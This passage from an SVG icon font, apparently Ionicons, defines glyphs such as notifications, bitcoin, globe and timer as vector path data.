M208 16c9 0 16 7 16 16s-7 16 -16 16s-16 -7 -16 -16s7 -16 16 -16zM208 336c9 0 16 7 16 16s-7 16 -16 16s-16 -7 -16 -16s7 -16 16 -16zM296 40c8 4 10 14 6 22s-14 9 -22 5s-10 -13 -6 -21s14 -10 22 -6zM302 323c4 8 2 17 -6 21s-18 3 -22 -5s-2 -18 6 -22s18 -2 22 6z
M360 104c4 8 3 18 -5 22s-18 2 -22 -6s-2 -18 6 -22s17 -2 21 6zM368 176c9 0 16 7 16 16s-7 16 -16 16s-16 -7 -16 -16s7 -16 16 -16z" />
    <glyph glyph-name="ion-ios-notifications-outline" unicode="&#xf133;" horiz-adv-x="320" 
d="M193 45v0c8 0 15 -8 13 -16c-5 -22 -20 -37 -46 -37s-42 15 -47 37c-2 8 5 16 13 16v0c6 0 11 -4 12 -10c1 -4 3 -8 5 -11c1 -1 6 -6 17 -6s15 4 16 6c2 3 4 7 5 11c1 6 6 10 12 10zM316 96c10 -13 0 -32 -16 -32h-140h-140c-16 0 -26 19 -16 32c15 20 46 32 46 123
c0 93 41 131 79 140c4 1 7 2 7 6v3c0 13 11 24 24 24v0v0c13 0 24 -11 24 -24v-3c0 -4 2 -5 6 -6c38 -9 80 -47 80 -140c0 -91 31 -103 46 -123zM277 90c4 0 5 4 3 7c-7 8 -16 19 -22 34c-10 23 -14 51 -14 88s-7 67 -21 87c-12 18 -28 25 -39 27c-7 2 -13 5 -18 11
c-3 4 -9 4 -12 0c-4 -5 -11 -9 -19 -11c-11 -2 -27 -9 -39 -27c-14 -20 -21 -50 -21 -87s-4 -65 -14 -88c-6 -15 -14 -26 -21 -34c-2 -3 -1 -7 3 -7h234z" />
    <glyph glyph-name="ion-ios-quote" unicode="&#xf1f5;" horiz-adv-x="320" 
d="M113 352v0c18 0 31 -13 31 -31v-192c0 -52 -21 -84 -28 -94c-2 -2 -5 -3 -7 -3h-40c-7 0 -11 8 -6 13c12 14 30 38 32 74c0 5 -3 9 -8 9h-39c-26 0 -48 22 -48 48v128c0 26 22 48 48 48h65zM289 352v0c18 0 31 -13 31 -31v-192c0 -52 -21 -84 -28 -94c-2 -2 -5 -3 -7 -3
h-40c-7 0 -11 8 -6 13c12 14 30 38 32 74c0 5 -3 9 -8 9h-39c-26 0 -48 22 -48 48v128c0 26 22 48 48 48h65z" />
    <glyph glyph-name="ion-ios-pause" unicode="&#xf478;" horiz-adv-x="256" 
d="M72 32h-64c-4 0 -8 4 -8 8v304c0 4 4 8 8 8h64c4 0 8 -4 8 -8v-304c0 -4 -4 -8 -8 -8zM248 32h-64c-4 0 -8 4 -8 8v304c0 4 4 8 8 8h64c4 0 8 -4 8 -8v-304c0 -4 -4 -8 -8 -8z" />
    <glyph glyph-name="ion-ios-remove" unicode="&#xf1fc;" horiz-adv-x="257" 
d="M241 208c9 0 16 -7 16 -16s-7 -16 -16 -16h-225c-4 0 -8 2 -11 5s-5 7 -5 11c0 9 7 16 16 16h225z" />
    <glyph glyph-name="ion-ios-done-all" unicode="&#xf171;" horiz-adv-x="320" 
d="M222 238l-67 -69l-26 27l66 69c1 1 3 2 4 2v0c1 0 2 -1 3 -2l20 -21c2 -2 2 -4 0 -6zM28 195l76 -79l-13 -14v0c-2 -2 -7 -6 -13 -6c-4 0 -9 3 -13 7l-64 65c-2 2 -2 4 0 6l20 21c1 1 3 1 4 1s2 0 3 -1zM319 266c2 -2 2 -5 0 -7l-151 -156v0c-2 -2 -7 -6 -13 -6
c-4 0 -10 2 -14 6l-63 65c-2 2 -2 5 0 7l20 21c1 1 2 1 3 1s3 0 4 -1l50 -52l138 143c1 1 2 1 3 1v0c1 0 2 0 3 -1z" />
    <glyph glyph-name="ion-md-recording" unicode="&#xf364;" horiz-adv-x="420" 
d="M324 288c53 0 96 -43 96 -96s-43 -96 -96 -96h-228c-53 0 -96 43 -96 96s43 96 96 96s97 -43 97 -96c0 -24 -8 -44 -22 -61h79c-14 17 -22 37 -22 61c0 53 43 96 96 96zM96 131c34 0 61 27 61 61s-27 61 -61 61s-61 -27 -61 -61s27 -61 61 -61zM324 131c34 0 61 27 61 61
s-27 61 -61 61s-61 -27 -61 -61s27 -61 61 -61z" />
    <glyph glyph-name="ion-ios-archive" unicode="&#xf10e;" 
d="M412 328h-408c-2 0 -4 2 -4 4v20c0 18 14 32 32 32h352c18 0 32 -14 32 -32v-20c0 -2 -2 -4 -4 -4zM392 302c4 0 8 -4 8 -8v-262c0 -18 -14 -32 -32 -32h-320c-18 0 -32 14 -32 32v262c0 4 4 8 8 8h368zM258 160c8 0 15 8 14 16c-1 7 -7 12 -14 12h-100
c-8 0 -15 -8 -14 -16c1 -7 7 -12 14 -12h100z" />
    <glyph glyph-name="ion-ios-text" unicode="&#xf250;" 
d="M208 384c115 0 208 -75 208 -168s-93 -168 -208 -168c-10 0 -19 1 -28 2c-6 -7 -25 -27 -47 -37c-18 -8 -39 -12 -51 -13c-3 0 -5 4 -3 6c12 14 28 35 33 61c-67 28 -112 84 -112 149c0 93 93 168 208 168z" />
    <glyph glyph-name="ion-ios-remove-circle-outline" unicode="&#xf1fa;" 
d="M298 208c9 0 16 -7 16 -16s-7 -16 -16 -16h-180c-8 0 -16 6 -16 16s7 16 16 16h180zM208 372c-48 0 -93 -19 -127 -53s-53 -79 -53 -127s19 -93 53 -127s79 -53 127 -53s93 19 127 53s53 79 53 127s-19 93 -53 127s-79 53 -127 53zM208 400v0c115 0 208 -93 208 -208
s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208z" />
    <glyph glyph-name="ion-ios-attach" unicode="&#xf11b;" horiz-adv-x="231" 
d="M216 287c9 0 15 -7 15 -16v-194c0 -14 -3 -28 -9 -42c-6 -13 -14 -25 -24 -35c-21 -20 -48 -32 -76 -32h-13c-28 0 -55 11 -76 32c-20 20 -33 49 -33 78v251c0 24 9 45 26 61s38 26 62 26s46 -10 62 -26c17 -16 26 -38 26 -61v-235c0 -18 -7 -33 -18 -44s-26 -18 -42 -18
c-34 0 -60 26 -60 62v134c0 9 7 16 16 16s15 -7 15 -16v-134c0 -19 15 -32 29 -32c15 0 29 15 29 32v235c0 15 -7 29 -17 39s-25 16 -40 16s-30 -6 -41 -16c-11 -11 -17 -24 -17 -39v-251c0 -20 9 -39 24 -55s35 -25 55 -25h13c20 0 42 9 56 24s22 35 22 55v194
c0 9 7 16 16 16z" />
    <glyph glyph-name="ion-md-undo" unicode="&#xf39d;" horiz-adv-x="448" 
d="M230 268c102 0 188 -66 218 -157l-52 -15c-23 70 -89 118 -166 118c-43 0 -82 -16 -112 -41l80 -77h-198v192l80 -76c40 35 92 56 150 56z" />
    <glyph glyph-name="ion-md-refresh-circle" unicode="&#xf228;" 
d="M208 400c114 0 208 -94 208 -208s-94 -208 -208 -208s-208 94 -208 208s94 208 208 208zM320 206v98l-33 -33c-20 20 -48 33 -79 33c-62 0 -112 -50 -112 -112s50 -112 112 -112c51 0 93 34 107 80h-29c-12 -31 -43 -52 -78 -52c-46 0 -84 38 -84 84s38 84 84 84
c23 0 44 -10 59 -25l-45 -45h98z" />
    <glyph glyph-name="ion-ios-switch" unicode="&#xf221;" 
d="M54 80c0 23 19 42 42 42s42 -19 42 -42s-19 -42 -42 -42s-42 19 -42 42zM320 176c53 0 96 -43 96 -96s-43 -96 -96 -96h-224c-53 0 -96 43 -96 96s43 96 96 96h224zM96 16c35 0 64 29 64 64s-29 64 -64 64s-64 -29 -64 -64s29 -64 64 -64zM278 304c0 23 19 42 42 42
s42 -19 42 -42s-19 -42 -42 -42s-42 19 -42 42zM96 208c-53 0 -96 43 -96 96s43 96 96 96h224c53 0 96 -43 96 -96s-43 -96 -96 -96h-224zM320 368c-35 0 -64 -29 -64 -64s29 -64 64 -64s64 29 64 64s-29 64 -64 64z" />
    <glyph glyph-name="ion-logo-bitcoin" unicode="&#xf22b;" horiz-adv-x="320" 
d="M314 169c4 -10 7 -30 6 -44c-1 -16 -5 -37 -16 -51s-26 -24 -45 -31c-15 -6 -33 -10 -59 -11v-64h-40v64h-32v-64h-41v64h-87l9 48h26c9 0 9 0 12 1s4 4 5 7s2 8 2 17v173c0 9 -1 16 -2 18s-3 4 -6 6s-9 2 -18 2h-28v48h87v64h41v-64h32v64h40v-64c20 -1 33 -4 46 -9
c16 -6 28 -15 37 -27s12 -28 13 -45c1 -10 0 -20 -3 -28c-2 -8 -8 -16 -16 -23c-6 -6 -11 -9 -16 -11c9 -2 17 -6 25 -10c15 -8 23 -18 28 -30zM128 298v-74h32v74h-32zM128 86h32v90h-32v-90zM200 294v-66c6 3 9 7 13 12c5 6 7 12 7 20s-2 15 -6 21c-4 5 -8 11 -14 13z
M229 107c8 7 10 15 10 26c0 9 -3 19 -8 25s-12 10 -20 13c-4 2 -6 2 -11 3v-82c2 0 5 1 7 2c10 4 14 6 22 13z" />
    <glyph glyph-name="ion-ios-return-left" unicode="&#xf202;" horiz-adv-x="384" 
d="M6 183l60 59c3 3 6 4 10 4s7 -1 10 -4s4 -6 4 -10s-1 -7 -4 -10v0l-41 -40h261c13 0 25 5 35 15c10 9 15 22 15 35v48c0 8 6 14 14 14s14 -6 14 -14v-48c0 -21 -8 -40 -23 -55s-34 -23 -55 -23h-262l40 -40c3 -3 4 -6 4 -10s-1 -7 -4 -10v0c-3 -2 -6 -4 -10 -4
s-7 1 -10 4l-58 58c-4 4 -6 9 -6 15s2 12 6 16z" />
    <glyph glyph-name="ion-ios-trending-down" unicode="&#xf25a;" horiz-adv-x="448" 
d="M448 79c0 -8 -7 -15 -15 -15h-121c-8 0 -15 7 -15 15s7 15 15 15h84l-138 142l-86 -84c-3 -3 -7 -5 -11 -5s-8 2 -11 5l-146 143c-2 2 -4 6 -4 11c0 4 1 7 4 10s7 4 11 4s8 -1 11 -4l135 -133l86 84c3 3 7 4 11 4s8 -1 11 -4l149 -152v82c0 8 7 15 15 15s15 -7 15 -15
v-118z" />
    <glyph glyph-name="ion-logo-tumblr" unicode="&#xf24d;" horiz-adv-x="256" 
d="M193 52c21 0 42 6 63 20v-65c-18 -8 -34 -15 -48 -18s-28 -5 -45 -5c-19 0 -35 2 -50 7c-14 5 -28 12 -38 21s-17 18 -21 28s-6 25 -6 44v140h-48v58c16 5 30 14 42 24s19 21 26 35s11 37 14 59h62v-112h96v-64h-96v-101c0 -24 1 -40 4 -47c2 -7 7 -12 14 -16
c9 -6 19 -8 31 -8z" />
    <glyph glyph-name="ion-ios-notifications" unicode="&#xf1d3;" horiz-adv-x="320" 
d="M160 -8c-31 0 -48 22 -48 53h96c0 -31 -17 -53 -48 -53zM316 96c10 -13 0 -32 -16 -32h-140h-140c-16 0 -26 19 -16 32c15 20 46 32 46 123c0 93 41 131 79 140c4 1 7 2 7 6v3c0 13 11 24 24 24s24 -11 24 -24v-3c0 -4 3 -5 7 -6c38 -9 79 -47 79 -140
c0 -91 31 -103 46 -123z" />
    <glyph glyph-name="ion-ios-cash" unicode="&#xf144;" horiz-adv-x="448" 
d="M434 92c8 0 14 -6 14 -14s-6 -14 -14 -14h-420c-8 0 -14 6 -14 14s6 14 14 14h420zM434 44c8 0 14 -6 14 -14s-6 -14 -14 -14h-420c-8 0 -14 6 -14 14s6 14 14 14h420zM413 368c19 0 35 -16 35 -35v-178c0 -19 -16 -35 -35 -35h-378c-19 0 -35 16 -35 35v178
c0 19 16 35 35 35h378zM82 152c8 0 14 6 14 14s-6 14 -14 14h-36c-8 0 -14 -6 -14 -14s6 -14 14 -14h36zM82 308c8 0 14 6 14 14s-6 14 -14 14h-36c-8 0 -14 -6 -14 -14s6 -14 14 -14h36zM224 164c44 0 80 36 80 80s-36 80 -80 80s-80 -36 -80 -80s36 -80 80 -80zM402 152
c8 0 14 6 14 14s-6 14 -14 14h-36c-8 0 -14 -6 -14 -14s6 -14 14 -14h36zM402 308c8 0 14 6 14 14s-6 14 -14 14h-36c-8 0 -14 -6 -14 -14s6 -14 14 -14h36zM171 242c0 29 24 53 53 53s53 -24 53 -53s-24 -53 -53 -53s-53 24 -53 53z" />
    <glyph glyph-name="ion-md-menu" unicode="&#xf32a;" horiz-adv-x="384" 
d="M0 64v43h384v-43h-384zM0 171v42h384v-42h-384zM0 320h384v-43h-384v43z" />
    <glyph glyph-name="ion-ios-eye-off" unicode="&#xf17a;" horiz-adv-x="448" 
d="M56 380l356 -356c6 -6 6 -14 0 -20c-2 -2 -5 -3 -7 -4c-5 -1 -9 0 -13 4l-356 356c-6 6 -6 14 0 20s14 6 20 0zM228 102c12 1 24 4 35 9l43 -44c-25 -12 -52 -19 -82 -19c-98 0 -155 61 -220 133c-6 6 -6 16 0 22c30 32 57 60 85 81l54 -54c-5 -10 -8 -22 -9 -34
c-2 -53 41 -96 94 -94zM444 182c-24 -26 -52 -57 -85 -82l-54 54c5 10 8 22 9 34c2 53 -41 96 -94 94c-12 0 -25 -4 -35 -9l-43 44c26 12 53 19 82 19c96 0 168 -69 220 -133c5 -6 5 -15 0 -21zM160 187c-1 8 1 17 3 24l79 -80c-7 -2 -15 -4 -23 -3c-31 2 -57 28 -59 59z
M288 192c0 -6 -1 -13 -3 -19l-18 19h3c6 0 12 2 18 4v-4zM224 239v-5l-19 19c6 2 13 3 19 3h3c-2 -5 -3 -11 -3 -17z" />
    <glyph glyph-name="ion-ios-radio-button-on" unicode="&#xf1f7;" 
d="M208 372c-48 0 -93 -19 -127 -53s-53 -79 -53 -127s19 -93 53 -127s79 -53 127 -53s93 19 127 53s53 79 53 127s-19 93 -53 127s-79 53 -127 53zM208 400v0c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM316 300c29 -29 44 -67 44 -108
s-15 -79 -44 -108s-67 -44 -108 -44s-79 15 -108 44s-44 67 -44 108s15 79 44 108s67 44 108 44s79 -15 108 -44z" />
    <glyph glyph-name="ion-logo-xbox" unicode="&#xf34c;" horiz-adv-x="448" 
d="M95 200c-49 -72 -50 -139 -50 -143c-28 38 -45 84 -45 135c0 67 30 128 77 169l3 -1c51 -18 93 -68 93 -68s-38 -33 -78 -92zM448 192c0 -51 -17 -97 -45 -135c0 4 -1 71 -50 143c-40 59 -78 92 -78 92s42 50 93 68l3 1c47 -41 77 -102 77 -169zM169 367
c-37 17 -65 12 -72 10c36 25 80 39 127 39s91 -14 127 -39c-7 2 -35 6 -72 -10c-29 -13 -55 -35 -55 -35s-26 22 -55 35zM327 155c40 -49 54 -85 62 -108l2 -5c-41 -46 -101 -74 -167 -74s-126 28 -167 74l1 5c8 23 23 59 63 108c46 57 103 94 103 94s57 -37 103 -94z" />
    <glyph glyph-name="ion-logo-html5" unicode="&#xf23d;" horiz-adv-x="384" 
d="M0 416h384l-35 -403l-157 -45l-157 45zM308 284l4 50h-241l13 -150h167l-6 -64l-53 -15l-54 15l-3 39h-48l6 -78l99 -27l98 28l14 151h-176l-4 51h184z" />
    <glyph glyph-name="ion-ios-globe" unicode="&#xf18a;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208v0h-1c-55 0 -107 22 -146 61s-61 91 -61 147s22 108 61 147s91 61 146 61h1v0zM388 206c-3 36 -16 69 -38 97c-16 -8 -32 -15 -49 -21c6 -24 9 -49 10 -76h77zM194 206v62c-18 1 -36 3 -53 7c-5 -21 -8 -45 -9 -69h62
zM194 178h-62c1 -24 4 -48 9 -69c17 4 35 6 53 7v62zM222 178v-62c18 -1 35 -3 52 -7c5 21 8 45 9 69h-61zM222 206h61c-1 24 -4 48 -9 69c-17 -4 -34 -6 -52 -7v-62zM331 324c-19 17 -40 31 -64 39c10 -15 19 -34 26 -55c13 4 26 10 38 16zM267 301c-11 34 -28 59 -45 68
v-74c15 1 30 3 45 6zM194 369c-17 -9 -34 -34 -46 -68c15 -3 31 -5 46 -6v74zM148 363c-24 -8 -45 -22 -63 -39c12 -6 24 -12 37 -16c7 21 16 41 26 55zM66 303c-22 -28 -35 -62 -38 -97h77c1 27 4 52 10 76c-17 5 -33 13 -49 21zM28 178c3 -36 15 -69 37 -97
c16 8 33 15 50 21c-6 24 -9 49 -10 76h-77zM84 60c18 -17 40 -31 64 -39c-10 15 -19 34 -26 55c-13 -4 -26 -10 -38 -16zM148 83c12 -34 29 -59 46 -68v74c-15 -1 -31 -3 -46 -6zM222 15c17 9 34 34 45 68c-15 3 -30 5 -45 6v-74zM267 21c24 8 46 22 65 39
c-12 6 -25 12 -38 16c-7 -21 -17 -40 -27 -55zM350 81c22 28 35 61 38 97h-77c-1 -27 -4 -52 -10 -76c17 -6 33 -13 49 -21z" />
    <glyph glyph-name="ion-md-print" unicode="&#xf35c;" 
d="M352 288c35 0 64 -29 64 -64v-139h-80v-85h-256v85h-80v139c0 35 29 64 64 64h288zM304 32v128h-192v-128h192zM336 384v0v-80h-256v80h256z" />
    <glyph glyph-name="ion-md-information-circle" unicode="&#xf311;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM229 88v125h-42v-125h42zM229 254v42h-42v-42h42z" />
    <glyph glyph-name="ion-ios-open" unicode="&#xf1d7;" 
d="M180 148c5 -5 13 -5 18 0l134 134c3 -5 4 -12 4 -18v-224c0 -22 -18 -40 -40 -40h-256c-22 0 -40 18 -40 40v224c0 22 18 40 40 40h256c6 0 13 -1 18 -4l-134 -134c-5 -5 -5 -13 0 -18zM412 380c2 -2 4 -6 4 -10v-98c0 -7 -6 -13 -13 -13s-13 6 -13 13v67l-58 -57
c-4 8 -10 14 -18 18l57 58h-67c-7 0 -13 6 -13 13s6 13 13 13h97c4 0 9 -2 11 -4z" />
    <glyph glyph-name="ion-md-mic" unicode="&#xf32c;" horiz-adv-x="320" 
d="M160 128c-38 0 -69 31 -69 69v150c0 38 31 69 69 69s69 -31 69 -69v-150c0 -38 -31 -69 -69 -69zM281 203h39c0 -78 -62 -142 -137 -153v-82h-46v82c-75 10 -137 75 -137 153h39c0 -69 58 -116 121 -116s121 47 121 116z" />
    <glyph glyph-name="ion-md-cloud-circle" unicode="&#xf2c2;" 
d="M208 400c114 0 208 -94 208 -208s-94 -208 -208 -208s-208 94 -208 208s94 208 208 208zM302 109c29 0 52 23 52 52s-23 52 -52 52h-11c0 46 -37 83 -83 83c-38 0 -71 -26 -80 -62h-3c-34 0 -63 -29 -63 -63s29 -62 63 -62h177z" />
    <glyph glyph-name="ion-md-heart" unicode="&#xf308;" 
d="M208 0l-30 27c-107 98 -178 162 -178 242c0 65 50 115 114 115c36 0 71 -17 94 -44c23 27 58 44 94 44c64 0 114 -50 114 -115c0 -80 -71 -144 -178 -242z" />
    <glyph glyph-name="ion-ios-musical-notes" unicode="&#xf46c;" horiz-adv-x="320" 
d="M310 400c6 1 10 -4 10 -8v-302c0 -21 -9 -38 -27 -48c-13 -8 -29 -12 -37 -13s-13 -1 -19 -1c-16 1 -42 14 -42 48c0 37 40 47 64 52c5 1 11 2 14 3c8 2 14 7 17 13c2 4 2 9 2 13v131c0 5 -5 9 -10 8l-152 -31c-4 -1 -6 -3 -6 -7v-213c0 -26 -13 -41 -24 -48
c-15 -10 -44 -13 -51 -13v0c-3 0 -5 1 -7 1c-19 2 -42 16 -42 47c0 37 40 47 64 52c5 1 11 2 14 3c8 2 13 7 16 13c2 4 2 10 2 12v240c0 4 4 7 8 8s201 39 206 40z" />
    <glyph glyph-name="ion-ios-pin" unicode="&#xf1e5;" horiz-adv-x="288" 
d="M144 400c80 0 144 -60 144 -134c0 -104 -144 -282 -144 -282s-144 178 -144 282c0 74 64 134 144 134zM144 209c26 0 47 21 47 47s-21 47 -47 47s-47 -21 -47 -47s21 -47 47 -47z" />
    <glyph glyph-name="ion-ios-cloud" unicode="&#xf40c;" horiz-adv-x="512" 
d="M437 218c43 -8 75 -47 75 -92c0 -50 -41 -94 -91 -94h-330c-50 0 -91 44 -91 94c0 41 26 80 66 93c1 39 33 74 72 74c10 0 19 -3 27 -6c27 39 72 65 123 65c77 0 141 -59 149 -134z" />
    <glyph glyph-name="ion-md-easel" unicode="&#xf2e4;" 
d="M80 144v128h256v-128h-256zM400 352c9 0 16 -7 16 -16v-256c0 -9 -7 -16 -16 -16h-384c-9 0 -16 7 -16 16v256c0 9 7 16 16 16h384zM368 112v192h-320v-192h320zM32 -16l23 64h57l-23 -64h-57zM231 400l12 -32h-70l12 32h46zM327 -16l-23 64h57l23 -64h-57zM184 16v32h48
v-32h-48z" />
    <glyph glyph-name="ion-md-pie" unicode="&#xf349;" horiz-adv-x="448" 
d="M1 192c0 5 -1 11 -1 16c0 115 93 208 208 208c5 0 11 -1 16 -1v-32v-191h-191h-32zM78 46c-26 32 -42 71 -45 114h223v223c43 -3 82 -19 114 -45c47 -38 78 -96 78 -162c0 -115 -93 -208 -208 -208c-66 0 -124 31 -162 78z" />
    <glyph glyph-name="ion-md-done-all" unicode="&#xf2e2;" horiz-adv-x="512" 
d="M388 308l-140 -139l-31 31l140 139zM481 339l31 -31l-264 -263l-122 123l30 31l92 -91zM0 168l32 31l122 -123l-31 -31z" />
    <glyph glyph-name="ion-md-volume-low" unicode="&#xf131;" horiz-adv-x="288" 
d="M0 256h85l107 112v-352l-107 112h-85v128zM288 192c0 -38 -21 -73 -53 -88v177c32 -16 53 -51 53 -89z" />
    <glyph glyph-name="ion-md-help" unicode="&#xf30b;" horiz-adv-x="256" 
d="M161 0h-66v65h66v-65zM160 98h-64c0 101 96 95 96 159c0 35 -29 63 -64 63s-64 -30 -64 -64h-64c0 71 57 128 128 128s128 -56 128 -127c0 -80 -96 -89 -96 -159z" />
    <glyph glyph-name="ion-ios-contract" unicode="&#xf162;" horiz-adv-x="384" 
d="M120 243l-116 117c-5 5 -5 15 0 20c3 3 6 4 10 4s7 -1 10 -4l117 -116v77c0 8 6 14 14 14v0c8 0 14 -6 14 -14v-112c0 -8 -6 -14 -14 -14h-112c-8 0 -14 6 -14 14v0c0 8 6 14 14 14h77zM229 215c-8 0 -14 6 -14 14v112c0 8 6 14 14 14v0c8 0 14 -6 14 -14v-77l117 116
c3 3 6 4 10 4s7 -1 10 -4c5 -5 5 -15 0 -20l-116 -117h77c8 0 14 -6 14 -14v0c0 -8 -6 -14 -14 -14h-112zM14 0c-4 0 -7 1 -10 4c-5 5 -5 15 0 20l116 117h-77c-8 0 -14 6 -14 14v0c0 8 6 14 14 14h112c8 0 14 -6 14 -14v-112c0 -8 -6 -14 -14 -14v0c-8 0 -14 6 -14 14v77
l-117 -116c-3 -3 -6 -4 -10 -4zM229 29c-8 0 -14 6 -14 14v112c0 8 6 14 14 14h112c8 0 14 -6 14 -14v0c0 -8 -6 -14 -14 -14h-77l116 -117c5 -5 5 -15 0 -20c-3 -3 -6 -4 -10 -4s-7 1 -10 4l-117 116v-77c0 -8 -6 -14 -14 -14v0z" />
    <glyph glyph-name="ion-md-megaphone" unicode="&#xf329;" horiz-adv-x="448" 
d="M350 305c21 -21 34 -50 34 -81s-13 -60 -34 -81l-23 23c15 15 24 36 24 58s-9 43 -24 58zM396 349c32 -32 52 -76 52 -125s-20 -93 -52 -125l-22 23c26 26 42 62 42 102s-16 76 -42 102zM288 264c18 -2 32 -19 32 -40s-14 -38 -32 -40v-104h-32l-96 64h-30l30 -128h-48
l-80 128l-32 16v112l32 16h128l96 80h32v-104z" />
    <glyph glyph-name="ion-md-speedometer" unicode="&#xf37f;" 
d="M80 -16v48h256v-48h-256zM208 160c-18 0 -32 14 -32 32c0 3 0 6 1 9l-49 67l4 4l67 -49c3 1 6 1 9 1c18 0 32 -14 32 -32s-14 -32 -32 -32zM208 400c115 0 208 -93 208 -208c0 -48 -16 -93 -44 -128h-59l-4 4l-22 22l23 23l22 -22c20 24 32 54 35 85h-31v32h31
c-3 31 -15 61 -35 85l-22 -22l-23 23l22 22c-24 20 -54 32 -85 35v-31h-32v31c-31 -3 -61 -15 -85 -35l22 -22l-23 -23l-22 22c-20 -24 -32 -54 -35 -85h31v-32h-31c3 -31 15 -61 35 -85l22 22l23 -23l-22 -22l-4 -4h-59c-28 35 -44 80 -44 128c0 115 93 208 208 208z" />
    <glyph glyph-name="ion-md-pint" unicode="&#xf34b;" horiz-adv-x="384" 
d="M0 400h384l-43 -379c-3 -21 -20 -37 -42 -37h-214c-22 0 -39 16 -42 37zM327 275l9 83h-288l9 -83h270z" />
    <glyph glyph-name="ion-md-contacts" unicode="&#xf2d7;" horiz-adv-x="448" 
d="M207 104c47 -14 76 -62 87 -104h-294c11 42 40 90 87 104c18 -10 38 -16 60 -16s42 6 60 16zM147 328c58 0 106 -48 106 -106s-48 -106 -106 -106s-106 48 -106 106s48 106 106 106zM147 141c34 0 62 23 74 51h-148c12 -28 40 -51 74 -51zM291 64c-13 20 -34 43 -60 53
c11 9 21 23 28 35c13 -5 27 -8 42 -8c22 0 42 6 60 16c47 -14 76 -54 87 -96h-157zM275 248c-8 37 -31 69 -63 87c19 29 52 49 89 49c58 0 106 -48 106 -106s-48 -106 -106 -106c-11 0 -22 2 -32 5c3 8 6 16 7 25c8 -3 16 -4 25 -4c34 0 62 22 74 50h-100z" />
    <glyph glyph-name="ion-ios-bonfire" unicode="&#xf12c;" horiz-adv-x="384" 
d="M207 97l15 -75c1 -3 1 -5 1 -8c0 -18 -14 -30 -32 -30s-32 12 -32 30c0 2 1 5 1 7l15 79v0c2 7 8 12 16 12s15 -7 16 -15zM242 93v0v0zM325 62c9 -8 9 -25 0 -35c-10 -10 -27 -9 -35 0c-1 1 -2 2 -3 4l-45 62c-3 5 -2 11 2 15c4 5 10 5 16 1l60 -43c2 -1 3 -3 5 -4z
M308 113v0v0zM371 128c8 0 13 -6 13 -18c0 -9 -10 -17 -18 -15l-57 18h-1v0c-3 2 -5 5 -4 9s4 6 8 6h59zM75 113v0v0zM75 113v0l-58 -18c-8 -2 -17 6 -17 15s4 18 12 18h60s7 -2 8 -6s-2 -7 -5 -9v0zM124 109c5 4 11 3 16 -1c4 -4 5 -10 2 -15l-45 -61c-1 -2 -2 -4 -3 -5
c-10 -10 -25 -10 -35 0s-10 25 0 35c2 2 3 3 5 4zM295 309c0 -30 -10 -55 -51 -81c-37 -24 -93 -43 -109 -100c0 0 -58 23 -48 91s124 100 112 181c24 0 96 -33 96 -91zM295 188c-16 -47 -44 -60 -80 -60c-15 0 -36 12 -47 28c12 14 28 24 47 34c9 5 20 10 29 16
c21 14 39 28 48 46c5 -14 8 -49 3 -64zM98 276c-6 4 -12 16 -11 29c2 21 34 36 32 65c14 2 34 -6 45 -26c-5 -10 -15 -20 -28 -32s-26 -21 -38 -36z" />
    <glyph glyph-name="ion-logo-googleplus" unicode="&#xf23b;" horiz-adv-x="512" 
d="M318 217c0 0 2 -11 2 -29c0 -43 -14 -84 -42 -113c-28 -30 -68 -46 -110 -46c-46 0 -91 17 -123 50c-30 31 -45 72 -45 113s16 85 46 115c31 31 74 48 118 48v0c57 0 94 -29 108 -41l-48 -48c-8 7 -28 21 -58 21c-27 0 -51 -7 -69 -25s-28 -43 -28 -70s10 -52 29 -70
c18 -18 43 -26 69 -26c36 0 75 19 84 64h-91v64h157zM512 224v-41h-57v-57h-41v57h-57v41h57v57h41v-57h57z" />
    <glyph glyph-name="ion-md-stats" unicode="&#xf385;" horiz-adv-x="352" 
d="M96 0v384h64v-384h-64zM0 0v112h64v-112h-64zM192 0v176h64v-176h-64zM288 0v272h64v-272h-64z" />
    <glyph glyph-name="ion-ios-rewind" unicode="&#xf4a1;" horiz-adv-x="448" 
d="M4 199l208 120c5 3 12 -1 12 -7v-115l212 122c5 3 12 -1 12 -7v-240c0 -6 -7 -10 -12 -7l-212 122v-115c0 -6 -7 -10 -12 -7l-208 120c-5 3 -5 11 0 14z" />
    <glyph glyph-name="ion-logo-polymer" unicode="&#xf15e;" horiz-adv-x="448" 
d="M360 352l88 -160l-88 -160h-78l88 160l-51 93l-153 -253h-78l-88 160l88 160h78l-88 -160l51 -93l153 253h78z" />
    <glyph glyph-name="ion-md-timer" unicode="&#xf395;" 
d="M185 76c0 13 10 24 23 24s23 -11 23 -24s-10 -23 -23 -23s-23 10 -23 23zM185 400h23c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208c0 68 32 128 83 166v1l158 -157l-33 -33l-125 125c-23 -28 -37 -63 -37 -102c0 -89 72 -162 162 -162s162 73 162 162
c0 82 -61 149 -139 160v-44h-46v92zM347 192c0 -13 -10 -23 -23 -23s-24 10 -24 23s11 23 24 23s23 -10 23 -23zM69 192c0 13 10 23 23 23s24 -10 24 -23s-11 -23 -24 -23s-23 10 -23 23z" />
    <glyph glyph-name="ion-md-checkmark" unicode="&#xf2bc;" horiz-adv-x="384" 
d="M122 108l230 230l32 -31l-262 -261l-122 122l32 31z" />
    <glyph glyph-name="ion-ios-water" unicode="&#xf26b;" horiz-adv-x="320" 
d="M256 302c37 -52 64 -111 64 -175c0 -79 -72 -143 -160 -143c-56 0 -106 26 -134 65c-6 8 -11 17 -15 26c-7 16 -11 34 -11 52v4c1 62 27 119 64 171c34 48 68 79 91 96c3 2 7 2 10 0c23 -18 57 -47 91 -96zM170 37c55 0 100 42 100 94v1c0 10 -13 12 -17 3
c-17 -42 -41 -67 -86 -81c-9 -3 -7 -17 3 -17v0z" />
    <glyph glyph-name="ion-ios-cloudy" unicode="&#xf410;" horiz-adv-x="448" 
d="M204 352v0c70 0 113 -49 125 -103h6h7c58 0 106 -50 106 -109s-48 -108 -106 -108h-257c-47 0 -85 41 -85 88c0 44 34 84 77 88c0 4 -1 9 -1 13c0 71 58 131 128 131z" />
    <glyph glyph-name="ion-md-podium" unicode="&#xf358;" horiz-adv-x="448" 
d="M0 32v192h128v-192h-128zM160 32v288h128v-288h-128zM320 32v128h128v-128h-128z" />
